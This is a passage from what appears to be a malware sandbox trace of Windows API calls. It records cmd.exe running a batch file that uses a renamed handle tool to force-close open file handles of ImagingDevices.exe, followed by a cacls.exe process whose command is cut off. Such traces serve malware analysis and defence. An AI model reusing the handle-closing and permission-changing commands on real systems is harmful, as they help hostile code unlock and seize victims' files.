(nStdHandle=0xfffffff5) returned 0x7 [0138.034] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef38 | out: lpMode=0x16ef38) returned 1 [0138.034] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.034] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x16ef64, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x16ef64*=0x26) returned 1 [0138.034] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.034] GetFileType (hFile=0x7) returned 0x2 [0138.035] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.035] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1bc | out: lpMode=0x16f1bc) returned 1 [0138.035] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.035] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x310dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f1e8, lpReserved=0x0 | out: lpBuffer=0x310dc0*, lpNumberOfCharsWritten=0x16f1e8*=0x2) returned 1 [0138.036] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x16f1f4 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0138.036] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.036] GetFileType (hFile=0x7) returned 0x2 [0138.036] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.036] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0138.036] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.036] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x2d) returned 1 [0138.038] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f214 | out: _Buffer="\r\n") returned 2 [0138.038] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.038] GetFileType (hFile=0x7) returned 0x2 [0138.038] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.038] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1d4 | out: lpMode=0x16f1d4) returned 1 [0138.038] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.038] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f200, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f200*=0x2) returned 1 [0138.040] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0138.040] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0138.040] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0138.040] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0138.040] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0138.040] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0138.040] GetConsoleTitleW (in: lpConsoleTitle=0x16ed84, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.041] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0138.041] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0138.041] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x16eb40, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x16eb38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x16eb38*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0138.042] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16e8dc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.042] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x16e8dc, lpFilePart=0x16e8d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x16e8d8*=0x0) returned 0x26 [0138.042] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0138.042] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16e658 | out: lpFindFileData=0x16e658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3244d0 [0138.042] FindClose (in: hFindFile=0x3244d0 | out: hFindFile=0x3244d0) returned 1 [0138.042] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16e658 | out: lpFindFileData=0x16e658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf29ace00, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xf29ace00, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3244d0 [0138.042] FindClose (in: hFindFile=0x3244d0 | out: hFindFile=0x3244d0) returned 1 [0138.042] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0138.042] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16e658 | out: lpFindFileData=0x16e658*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3244d0 [0138.042] FindClose (in: hFindFile=0x3244d0 | out: hFindFile=0x3244d0) returned 1 [0138.042] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0138.042] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0138.042] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0138.042] GetProcessHeap () returned 0x310000 [0138.042] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3276e0 | out: hHeap=0x310000) returned 1 [0138.043] GetEnvironmentStringsW () returned 0x326b48* [0138.043] GetProcessHeap () returned 0x310000 [0138.043] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb8c) returned 0x3276e0 [0138.043] FreeEnvironmentStringsW (penv=0x326b48) returned 1 [0138.043] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.043] GetProcessHeap () returned 0x310000 [0138.043] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324470 | out: hHeap=0x310000) returned 1 [0138.043] GetProcessHeap () returned 0x310000 [0138.043] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324410 | out: hHeap=0x310000) returned 1 [0138.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.043] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0138.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.043] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0138.043] _get_osfhandle (_FileHandle=0) returned 0x3 [0138.043] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0138.044] SetConsoleInputExeNameW () returned 0x1 [0138.044] GetConsoleOutputCP () returned 0x1b5 [0138.044] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0138.044] SetThreadUILanguage (LangId=0x0) returned 0x409 [0138.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x16f1bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0138.045] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0138.045] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.045] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3243a0 | out: hHeap=0x310000) returned 1 [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324330 | out: hHeap=0x310000) returned 1 [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3242c0 | out: hHeap=0x310000) returned 1 [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324250 | out: hHeap=0x310000) returned 1 [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310db8 | out: hHeap=0x310000) returned 1 [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x3241f0 | out: hHeap=0x310000) returned 1 [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324190 | out: hHeap=0x310000) returned 1 [0138.045] GetProcessHeap () returned 0x310000 [0138.045] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x311250 | out: hHeap=0x310000) returned 1 [0138.046] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.046] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0138.046] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x16f1a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x16f1a0*=0x94, lpOverlapped=0x0) returned 1 [0138.046] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0138.046] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.046] GetFileType (hFile=0x78) returned 0x1 [0138.046] _get_osfhandle (_FileHandle=3) returned 0x78 [0138.046] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0138.046] GetProcessHeap () returned 0x310000 [0138.046] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x400a) returned 0x334b28 [0138.046] GetProcessHeap () returned 0x310000 [0138.046] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4008) returned 0x338b40 [0138.047] GetProcessHeap () returned 0x310000 [0138.047] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe) returned 0x310db8 [0138.048] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"ImagingDevices.exe\"") returned 0x14 [0138.048] GetProcessHeap () returned 0x310000 [0138.048] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310db8 | out: hHeap=0x310000) returned 1 [0138.048] GetProcessHeap () returned 0x310000 [0138.048] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x338b40 | out: hHeap=0x310000) returned 1 [0138.048] GetProcessHeap () returned 0x310000 [0138.048] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x334b28 | out: hHeap=0x310000) returned 1 [0138.049] GetProcessHeap () returned 0x310000 [0138.049] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x324238, Size=0x3c) returned 0x324238 [0138.049] GetProcessHeap () returned 0x310000 [0138.049] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x324238) returned 0x3c [0138.054] _tell (_FileHandle=3) returned 226 [0138.054] _close (_FileHandle=3) returned 0 [0138.054] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16ef74 | out: _Buffer="\r\n") returned 2 [0138.054] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.054] GetFileType (hFile=0x7) returned 0x2 [0138.086] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.086] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef34 | out: lpMode=0x16ef34) returned 1 [0138.087] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.087] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16ef60, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16ef60*=0x2) returned 1 [0138.088] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0138.088] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.088] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x16ef70 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0138.088] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x16ef70 | out: _Buffer=">") returned 1 [0138.088] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.088] GetFileType (hFile=0x7) returned 0x2 [0138.089] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.089] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16ef38 | out: lpMode=0x16ef38) returned 1 [0138.089] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.089] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x16ef64, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x16ef64*=0x26) returned 1 [0138.090] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x16f1f4 | out: _Buffer="FOR") returned 3 [0138.090] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.090] GetFileType (hFile=0x7) returned 0x2 [0138.090] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.090] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0138.090] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.090] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x3) returned 1 [0138.090] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x16f1f4 | out: _Buffer=" /F") returned 3 [0138.090] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.090] GetFileType (hFile=0x7) returned 0x2 [0138.091] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.091] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0138.091] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.091] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x3) returned 1 [0138.091] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x16f1f4 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0138.091] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.092] GetFileType (hFile=0x7) returned 0x2 [0138.092] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.092] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0138.092] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.092] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x20) returned 1 [0138.092] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x16f1f4 | out: _Buffer=" %I IN ") returned 7 [0138.092] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.092] GetFileType (hFile=0x7) returned 0x2 [0138.093] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.093] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0138.093] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.093] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x7) returned 1 [0138.094] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x16f1f0 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner`) DO ") returned 63 [0138.094] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.094] GetFileType (hFile=0x7) returned 0x2 [0138.095] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.095] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b0 | out: lpMode=0x16f1b0) returned 1 [0138.095] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.095] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x16f1dc, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1dc*=0x3f) returned 1 [0138.095] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.095] GetFileType (hFile=0x7) returned 0x2 [0138.096] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.096] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1bc | out: lpMode=0x16f1bc) returned 1 [0138.096] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.096] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x16f1e8, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x16f1e8*=0x1) returned 1 [0138.096] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.096] GetFileType (hFile=0x7) returned 0x2 [0138.097] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.097] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1a0 | out: lpMode=0x16f1a0) returned 1 [0138.097] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.097] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x324388*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x16f1cc, lpReserved=0x0 | out: lpBuffer=0x324388*, lpNumberOfCharsWritten=0x16f1cc*=0xc) returned 1 [0138.097] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x16f1d8 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0138.097] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.097] GetFileType (hFile=0x7) returned 0x2 [0138.097] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.097] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f198 | out: lpMode=0x16f198) returned 1 [0138.098] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.098] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x16f1c4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1c4*=0x26) returned 1 [0138.099] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x16f1f4 | out: _Buffer=") ") returned 2 [0138.099] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.099] GetFileType (hFile=0x7) returned 0x2 [0138.099] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.099] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1b4 | out: lpMode=0x16f1b4) returned 1 [0138.100] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.100] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f1e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f1e0*=0x2) returned 1 [0138.100] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x16f214 | out: _Buffer="\r\n") returned 2 [0138.100] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.100] GetFileType (hFile=0x7) returned 0x2 [0138.100] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.100] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x16f1d4 | out: lpMode=0x16f1d4) returned 1 [0138.101] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.101] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16f200, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x16f200*=0x2) returned 1 [0138.102] GetProcessHeap () returned 0x310000 [0138.102] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x2c) returned 0x324410 [0138.102] GetProcessHeap () returned 0x310000 [0138.102] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xc) returned 0x310db8 [0138.102] GetProcessHeap () returned 0x310000 [0138.102] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xc) returned 0x310dd0 [0138.102] GetProcessHeap () returned 0x310000 [0138.102] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe) returned 0x310de8 [0138.102] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0138.102] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0138.102] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0138.102] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0138.102] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0138.102] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0138.102] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0138.103] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x16f130, _Radix=0 | out: _EndPtr=0x16f130*=",6 delims=: \"") returned 3 [0138.103] wcstol (in: _String="6 delims=: \"", _EndPtr=0x16f130, _Radix=0 | out: _EndPtr=0x16f130*=" delims=: \"") returned 6 [0138.103] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0138.103] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0138.103] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0138.103] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0138.103] GetProcessHeap () returned 0x310000 [0138.103] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x310de8 | out: hHeap=0x310000) returned 1 [0138.103] GetProcessHeap () returned 0x310000 [0138.103] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xe) returned 0x310de8 [0138.103] GetProcessHeap () returned 0x310000 [0138.103] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x310db8, Size=0xe) returned 0x310e00 [0138.103] GetProcessHeap () returned 0x310000 [0138.103] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x310e00) returned 0xe [0138.103] GetProcessHeap () returned 0x310000 [0138.103] RtlReAllocateHeap (Heap=0x310000, Flags=0x0, Ptr=0x310dd0, Size=0x14) returned 0x324448 [0138.103] GetProcessHeap () returned 0x310000 [0138.103] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x324448) returned 0x14 [0138.103] _wpopen (_Command="bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner", _Mode="rb") returned 0x76be2960 [0138.118] feof (_File=0x76be2960) returned 0 [0138.118] ferror (_File=0x76be2960) returned 0 [0138.118] GetProcessHeap () returned 0x310000 [0138.118] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x108) returned 0x324468 [0138.118] fgets (_Buf=0x324470, _MaxCount=256, _File=0x76be2960) Process: id = "246" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x771ef000" os_pid = "0xc60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 864 os_tid = 0xc08 Thread: id = 865 os_tid = 0x64c Thread: id = 866 os_tid = 0x628 Process: id = "247" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x9bf7000" os_pid = "0xca4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "245" os_parent_pid = "0xc64" cmd_line = "cacls \"C:\\Program 